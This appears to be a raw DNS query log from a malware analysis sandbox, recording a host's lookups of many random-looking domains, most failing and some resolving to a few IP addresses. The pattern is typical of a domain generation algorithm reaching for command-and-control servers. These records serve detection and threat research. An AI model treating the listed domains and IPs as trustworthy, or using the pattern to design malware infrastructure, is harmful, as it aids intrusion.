Sep 8, 2024 08:39:46.277215004 CEST	1.1.1.1	192.168.2.5	0x26e0	No error (0)	rkoolkuso.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.451641083 CEST	1.1.1.1	192.168.2.5	0x6730	Name error (3)	gsgkwkexyax.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.488591909 CEST	1.1.1.1	192.168.2.5	0x49ee	Name error (3)	gsgkwkexyax.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.750243902 CEST	1.1.1.1	192.168.2.5	0xaa7a	Name error (3)	maamyodasotuzc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:47.920875072 CEST	1.1.1.1	192.168.2.5	0xaeb0	Name error (3)	maamyodasotuzc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.247077942 CEST	1.1.1.1	192.168.2.5	0x3fcc	Name error (3)	vyayoa.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.422338009 CEST	1.1.1.1	192.168.2.5	0x8dba	Name error (3)	vyayoa.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:48.547384024 CEST	1.1.1.1	192.168.2.5	0x9f7b	No error (0)	moiuldundirk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:49.692606926 CEST	1.1.1.1	192.168.2.5	0x8c49	No error (0)	kgsoqig.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:50.848263025 CEST	1.1.1.1	192.168.2.5	0x7d76	Name error (3)	qmwdirotq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:50.886010885 CEST	1.1.1.1	192.168.2.5	0x5633	Name error (3)	qmwdirotq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:51.017369986 CEST	1.1.1.1	192.168.2.5	0xb9b	No error (0)	ycszjetjpejct.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.385025978 CEST	1.1.1.1	192.168.2.5	0x2429	Name error (3)	yqkoakpyunsvf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.551686049 CEST	1.1.1.1	192.168.2.5	0x27b6	Name error (3)	yqkoakpyunsvf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.677264929 CEST	1.1.1.1	192.168.2.5	0xed04	Name error (3)	jgsbwcowgmycas.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.688330889 CEST	1.1.1.1	192.168.2.5	0x9f69	Name error (3)	jgsbwcowgmycas.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.851593018 CEST	1.1.1.1	192.168.2.5	0xae47	Name error (3)	ocnbwwofuyzgm.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:52.966660976 CEST	1.1.1.1	192.168.2.5	0x6cfc	Name error (3)	ocnbwwofuyzgm.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:53.084810972 CEST	1.1.1.1	192.168.2.5	0xcc95	Name error (3)	klciqaifzak.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:53.438565016 CEST	1.1.1.1	192.168.2.5	0x678f	Name error (3)	klciqaifzak.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:54.094127893 CEST	1.1.1.1	192.168.2.5	0x810d	Name error (3)	kmczget.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:54.288688898 CEST	1.1.1.1	192.168.2.5	0x2b36	Name error (3)	kmczget.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:54.411360025 CEST	1.1.1.1	192.168.2.5	0x6f00	No error (0)	ucotvodykr.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.560339928 CEST	1.1.1.1	192.168.2.5	0x6738	Name error (3)	crseowveq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.570357084 CEST	1.1.1.1	192.168.2.5	0xaae1	Name error (3)	crseowveq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:55.693849087 CEST	1.1.1.1	192.168.2.5	0x8283	Name error (3)	upovpdivoqjiyq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.043827057 CEST	1.1.1.1	192.168.2.5	0x6644	Name error (3)	upovpdivoqjiyq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.532664061 CEST	1.1.1.1	192.168.2.5	0xfb66	Name error (3)	tjmwgkitqlqgse.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.705240011 CEST	1.1.1.1	192.168.2.5	0xe593	Name error (3)	tjmwgkitqlqgse.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:56.904861927 CEST	1.1.1.1	192.168.2.5	0xdfa8	Name error (3)	samcoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.251879930 CEST	1.1.1.1	192.168.2.5	0x9395	Name error (3)	samcoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.382781982 CEST	1.1.1.1	192.168.2.5	0x9b5c	Name error (3)	idysusqkfajm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.393239975 CEST	1.1.1.1	192.168.2.5	0x7391	Name error (3)	idysusqkfajm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.516189098 CEST	1.1.1.1	192.168.2.5	0x65cd	No error (0)	vyvwgip.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.746982098 CEST	1.1.1.1	192.168.2.5	0x17a8	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:57.746982098 CEST	1.1.1.1	192.168.2.5	0x17a8	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:58.866199017 CEST	1.1.1.1	192.168.2.5	0x8356	Name error (3)	gtbygcu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:58.905155897 CEST	1.1.1.1	192.168.2.5	0x1e9d	Name error (3)	gtbygcu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.024426937 CEST	1.1.1.1	192.168.2.5	0x1613	Name error (3)	mmecmudamoqyj.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.049619913 CEST	1.1.1.1	192.168.2.5	0x623b	Name error (3)	mmecmudamoqyj.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.164453983 CEST	1.1.1.1	192.168.2.5	0x9ae	Name error (3)	aumqsmx.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.179363012 CEST	1.1.1.1	192.168.2.5	0x8bf9	Name error (3)	aumqsmx.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:59.304471016 CEST	1.1.1.1	192.168.2.5	0x6f28	No error (0)	qaggihab.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.495088100 CEST	1.1.1.1	192.168.2.5	0xd594	Name error (3)	cimedejqa.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.530637980 CEST	1.1.1.1	192.168.2.5	0x6a7f	Name error (3)	cimedejqa.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.807832003 CEST	1.1.1.1	192.168.2.5	0xe26e	Name error (3)	fqhoeumlg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:00.979391098 CEST	1.1.1.1	192.168.2.5	0x63b1	Name error (3)	fqhoeumlg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:01.098711014 CEST	1.1.1.1	192.168.2.5	0x4bae	No error (0)	grrhyqk.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.287029982 CEST	1.1.1.1	192.168.2.5	0x2a58	Name error (3)	ikociagcpeks.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.368541956 CEST	1.1.1.1	192.168.2.5	0xdbd1	Name error (3)	ikociagcpeks.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:02.500355959 CEST	1.1.1.1	192.168.2.5	0x2916	No error (0)	cqlcikiwc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:03.856539011 CEST	1.1.1.1	192.168.2.5	0x5e47	Name error (3)	zadvbviauek.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:03.931632996 CEST	1.1.1.1	192.168.2.5	0xfb79	Name error (3)	zadvbviauek.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.263664961 CEST	1.1.1.1	192.168.2.5	0x4ab3	Name error (3)	wyqemapilnsck.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.498486042 CEST	1.1.1.1	192.168.2.5	0x2953	Name error (3)	wyqemapilnsck.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.766577959 CEST	1.1.1.1	192.168.2.5	0x2b32	Name error (3)	ojeecaygeyz.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:04.936029911 CEST	1.1.1.1	192.168.2.5	0xc2e3	Name error (3)	ojeecaygeyz.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:05.062760115 CEST	1.1.1.1	192.168.2.5	0xd66b	No error (0)	gubwnmu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:06.203960896 CEST	1.1.1.1	192.168.2.5	0x1dbf	No error (0)	oqfoicsg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:07.664761066 CEST	1.1.1.1	192.168.2.5	0x349d	No error (0)	mcyzcuygmql.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:08.832216024 CEST	1.1.1.1	192.168.2.5	0xb102	Name error (3)	nfltmjmfkobpe.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:08.956478119 CEST	1.1.1.1	192.168.2.5	0x2a74	Name error (3)	nfltmjmfkobpe.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.070171118 CEST	1.1.1.1	192.168.2.5	0xc67	Name error (3)	eukkoics.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.353795052 CEST	1.1.1.1	192.168.2.5	0xaeb8	Name error (3)	eukkoics.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.487970114 CEST	1.1.1.1	192.168.2.5	0x7cdc	Name error (3)	wiiyeajqad.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.716833115 CEST	1.1.1.1	192.168.2.5	0xdc3	Name error (3)	wiiyeajqad.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:09.966495037 CEST	1.1.1.1	192.168.2.5	0x4f5	Name error (3)	lawqb.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.244910955 CEST	1.1.1.1	192.168.2.5	0x20a8	Name error (3)	lawqb.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.364837885 CEST	1.1.1.1	192.168.2.5	0x7dcb	Name error (3)	eohwtcodugmx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.376497984 CEST	1.1.1.1	192.168.2.5	0x54e1	Name error (3)	eohwtcodugmx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.497741938 CEST	1.1.1.1	192.168.2.5	0xf9db	Name error (3)	soovonz.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:10.784953117 CEST	1.1.1.1	192.168.2.5	0xc373	Name error (3)	soovonz.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:11.155695915 CEST	1.1.1.1	192.168.2.5	0x32ae	Name error (3)	ebeodkksay.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:11.997445107 CEST	1.1.1.1	192.168.2.5	0x6ba3	Name error (3)	ebeodkksay.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.127810001 CEST	1.1.1.1	192.168.2.5	0xf348	Name error (3)	kapgekkcijhi.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.302581072 CEST	1.1.1.1	192.168.2.5	0xe07b	Name error (3)	kapgekkcijhi.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.436645031 CEST	1.1.1.1	192.168.2.5	0xbddc	Name error (3)	ewoqoodzi.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.448299885 CEST	1.1.1.1	192.168.2.5	0x8c6e	Name error (3)	ewoqoodzi.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.618144989 CEST	1.1.1.1	192.168.2.5	0x3bf2	Name error (3)	sajtw.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.655113935 CEST	1.1.1.1	192.168.2.5	0xb1c7	Name error (3)	sajtw.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:12.934540987 CEST	1.1.1.1	192.168.2.5	0x7414	Name error (3)	apzkasiwau.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:13.101552010 CEST	1.1.1.1	192.168.2.5	0x1558	Name error (3)	apzkasiwau.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.059350014 CEST	1.1.1.1	192.168.2.5	0x558c	Name error (3)	cookqyrwoyfqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.165186882 CEST	1.1.1.1	192.168.2.5	0xd703	Name error (3)	cookqyrwoyfqn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.288223982 CEST	1.1.1.1	192.168.2.5	0xa2e3	Name error (3)	ermxzitmkoe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.298675060 CEST	1.1.1.1	192.168.2.5	0xb863	Name error (3)	ermxzitmkoe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.435353994 CEST	1.1.1.1	192.168.2.5	0x9201	Name error (3)	ywpkzeos.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.446445942 CEST	1.1.1.1	192.168.2.5	0x74c9	Name error (3)	ywpkzeos.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:14.850435019 CEST	1.1.1.1	192.168.2.5	0xf7a7	Name error (3)	kgyei.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:15.059233904 CEST	1.1.1.1	192.168.2.5	0xeba9	Name error (3)	kgyei.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:15.195756912 CEST	1.1.1.1	192.168.2.5	0x5d00	No error (0)	xymaafimcbiqng.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:17.135221958 CEST	1.1.1.1	192.168.2.5	0x4726	Name error (3)	xgmtyuvkuv.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:17.171952009 CEST	1.1.1.1	192.168.2.5	0x689	Name error (3)	xgmtyuvkuv.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:18.796035051 CEST	1.1.1.1	192.168.2.5	0x3c09	Name error (3)	wqsresks.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:18.800728083 CEST	1.1.1.1	192.168.2.5	0x3c09	Name error (3)	wqsresks.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:18.905682087 CEST	1.1.1.1	192.168.2.5	0xfa85	Name error (3)	wqsresks.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:19.865915060 CEST	1.1.1.1	192.168.2.5	0xe2b8	Name error (3)	iigsdiwuimi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.112332106 CEST	1.1.1.1	192.168.2.5	0x15b	Name error (3)	iigsdiwuimi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.225651979 CEST	1.1.1.1	192.168.2.5	0x8955	Name error (3)	acqowoppegz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.235328913 CEST	1.1.1.1	192.168.2.5	0x9534	Name error (3)	acqowoppegz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.550856113 CEST	1.1.1.1	192.168.2.5	0x15a0	Name error (3)	llpkgwvgqyh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.781116009 CEST	1.1.1.1	192.168.2.5	0x6adc	Name error (3)	llpkgwvgqyh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:20.904546022 CEST	1.1.1.1	192.168.2.5	0xdfaf	No error (0)	euuduok.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:22.062788010 CEST	1.1.1.1	192.168.2.5	0x36e5	No error (0)	sxsyiekdaqqd.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.187784910 CEST	1.1.1.1	192.168.2.5	0x52e2	Name error (3)	ajwumsxge.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.209187031 CEST	1.1.1.1	192.168.2.5	0x2456	Name error (3)	ajwumsxge.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.362328053 CEST	1.1.1.1	192.168.2.5	0xf9b5	Name error (3)	ckamnmua.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.400841951 CEST	1.1.1.1	192.168.2.5	0xd5a0	Name error (3)	ckamnmua.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:23.521382093 CEST	1.1.1.1	192.168.2.5	0x3bec	No error (0)	voagvgkqdcif.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:24.662754059 CEST	1.1.1.1	192.168.2.5	0x4f59	Name error (3)	luayepf.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:24.943761110 CEST	1.1.1.1	192.168.2.5	0x85a6	Name error (3)	luayepf.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.634699106 CEST	1.1.1.1	192.168.2.5	0x5c0b	Name error (3)	alnavtodes.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.714838982 CEST	1.1.1.1	192.168.2.5	0x6752	Name error (3)	alnavtodes.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:25.834275007 CEST	1.1.1.1	192.168.2.5	0xd69a	No error (0)	vexmm.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.083914042 CEST	1.1.1.1	192.168.2.5	0x308c	Name error (3)	ouvgx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.112521887 CEST	1.1.1.1	192.168.2.5	0x6b13	Name error (3)	ouvgx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.311546087 CEST	1.1.1.1	192.168.2.5	0x99ac	Name error (3)	rhxrwxpwwiu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.643030882 CEST	1.1.1.1	192.168.2.5	0xfdbb	Name error (3)	rhxrwxpwwiu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:27.915725946 CEST	1.1.1.1	192.168.2.5	0x7c4d	Name error (3)	cwfyspgrwwftoa.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.096307993 CEST	1.1.1.1	192.168.2.5	0xa3ef	Name error (3)	cwfyspgrwwftoa.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.604681969 CEST	1.1.1.1	192.168.2.5	0xf6c7	Name error (3)	mfimmkqw.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.632050991 CEST	1.1.1.1	192.168.2.5	0xd8cd	Name error (3)	mfimmkqw.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:28.756886005 CEST	1.1.1.1	192.168.2.5	0x312a	No error (0)	wmqgigbtk.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:30.904289007 CEST	1.1.1.1	192.168.2.5	0x4a25	Name error (3)	dzgoqliffwuk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.099214077 CEST	1.1.1.1	192.168.2.5	0xab90	Name error (3)	dzgoqliffwuk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.385634899 CEST	1.1.1.1	192.168.2.5	0xe00e	Name error (3)	kaduu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.557292938 CEST	1.1.1.1	192.168.2.5	0xe0ec	Name error (3)	kaduu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.679301977 CEST	1.1.1.1	192.168.2.5	0x8d8f	Name error (3)	qlncimsmq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.693125010 CEST	1.1.1.1	192.168.2.5	0x275a	Name error (3)	qlncimsmq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:31.988773108 CEST	1.1.1.1	192.168.2.5	0xc770	Name error (3)	wyoyzqyggunly.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:32.153239965 CEST	1.1.1.1	192.168.2.5	0x8498	Name error (3)	wyoyzqyggunly.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:33.216494083 CEST	1.1.1.1	192.168.2.5	0x9380	Name error (3)	kxdqmoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:34.060384035 CEST	1.1.1.1	192.168.2.5	0xed05	Name error (3)	kxdqmoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:34.859760046 CEST	1.1.1.1	192.168.2.5	0x7032	Name error (3)	uszukil.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:34.970525026 CEST	1.1.1.1	192.168.2.5	0x3d7c	Name error (3)	uszukil.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:35.318550110 CEST	1.1.1.1	192.168.2.5	0x9bf7	No error (0)	quivjq.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:36.772114038 CEST	1.1.1.1	192.168.2.5	0xc6a5	Name error (3)	qysbgykaee.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:36.870476007 CEST	1.1.1.1	192.168.2.5	0xa1e4	Name error (3)	qysbgykaee.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.161065102 CEST	1.1.1.1	192.168.2.5	0x5429	Name error (3)	hlmok.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.354913950 CEST	1.1.1.1	192.168.2.5	0x52e7	Name error (3)	hlmok.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.482144117 CEST	1.1.1.1	192.168.2.5	0xff69	Name error (3)	medoeahgwk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.493074894 CEST	1.1.1.1	192.168.2.5	0xc9b9	Name error (3)	medoeahgwk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:37.624612093 CEST	1.1.1.1	192.168.2.5	0x66bb	No error (0)	aykunskrl.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:38.741674900 CEST	1.1.1.1	192.168.2.5	0x34da	Name error (3)	smwacsgd.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:38.751873016 CEST	1.1.1.1	192.168.2.5	0xc4a	Name error (3)	smwacsgd.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:38.865144968 CEST	1.1.1.1	192.168.2.5	0xbec	No error (0)	swnyn.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.005261898 CEST	1.1.1.1	192.168.2.5	0x8fd3	Name error (3)	onciwoggkhkqe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.016266108 CEST	1.1.1.1	192.168.2.5	0x4d92	Name error (3)	onciwoggkhkqe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.295664072 CEST	1.1.1.1	192.168.2.5	0x47dc	Name error (3)	ikvwxxugr.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.502721071 CEST	1.1.1.1	192.168.2.5	0x5b57	Name error (3)	ikvwxxugr.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.624829054 CEST	1.1.1.1	192.168.2.5	0xe9cf	Name error (3)	xkqosiwf.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.810743093 CEST	1.1.1.1	192.168.2.5	0x5c79	Name error (3)	xkqosiwf.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:40.993290901 CEST	1.1.1.1	192.168.2.5	0xb78b	Name error (3)	mgwqlykmcf.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:41.003489971 CEST	1.1.1.1	192.168.2.5	0xe35a	Name error (3)	mgwqlykmcf.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:41.130155087 CEST	1.1.1.1	192.168.2.5	0xbf44	No error (0)	otduu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.413496017 CEST	1.1.1.1	192.168.2.5	0xf7eb	Name error (3)	aehufkfkkkhsq.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.823350906 CEST	1.1.1.1	192.168.2.5	0xa04f	Name error (3)	aehufkfkkkhsq.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.944799900 CEST	1.1.1.1	192.168.2.5	0x9ff4	Name error (3)	gibwyyvuq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:42.956280947 CEST	1.1.1.1	192.168.2.5	0x252	Name error (3)	gibwyyvuq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.305557013 CEST	1.1.1.1	192.168.2.5	0x7c8b	Name error (3)	ovngiemtnjj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.620703936 CEST	1.1.1.1	192.168.2.5	0xb818	Name error (3)	ovngiemtnjj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:43.928294897 CEST	1.1.1.1	192.168.2.5	0x9451	Name error (3)	avsmmylpfta.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.151001930 CEST	1.1.1.1	192.168.2.5	0xe903	Name error (3)	avsmmylpfta.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.271322966 CEST	1.1.1.1	192.168.2.5	0xe245	Name error (3)	zsocvau.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.280530930 CEST	1.1.1.1	192.168.2.5	0x9348	Name error (3)	zsocvau.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.557981968 CEST	1.1.1.1	192.168.2.5	0x536c	Name error (3)	uswnynvgayc.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.581334114 CEST	1.1.1.1	192.168.2.5	0xcc23	Name error (3)	uswnynvgayc.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.692895889 CEST	1.1.1.1	192.168.2.5	0x2835	Name error (3)	mouumssegx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.704133987 CEST	1.1.1.1	192.168.2.5	0x2977	Name error (3)	mouumssegx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.862437963 CEST	1.1.1.1	192.168.2.5	0xae87	Name error (3)	guesfdq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:44.913207054 CEST	1.1.1.1	192.168.2.5	0x15cb	Name error (3)	guesfdq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:45.282284975 CEST	1.1.1.1	192.168.2.5	0x9488	No error (0)	aswkcisacbeyp.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:40:46.746814966 CEST	1.1.1.1	192.168.2.5	0xef0b	Name error (3)	temkmouegeec.st	none	none	A (IP address)	IN (0x0001)	false
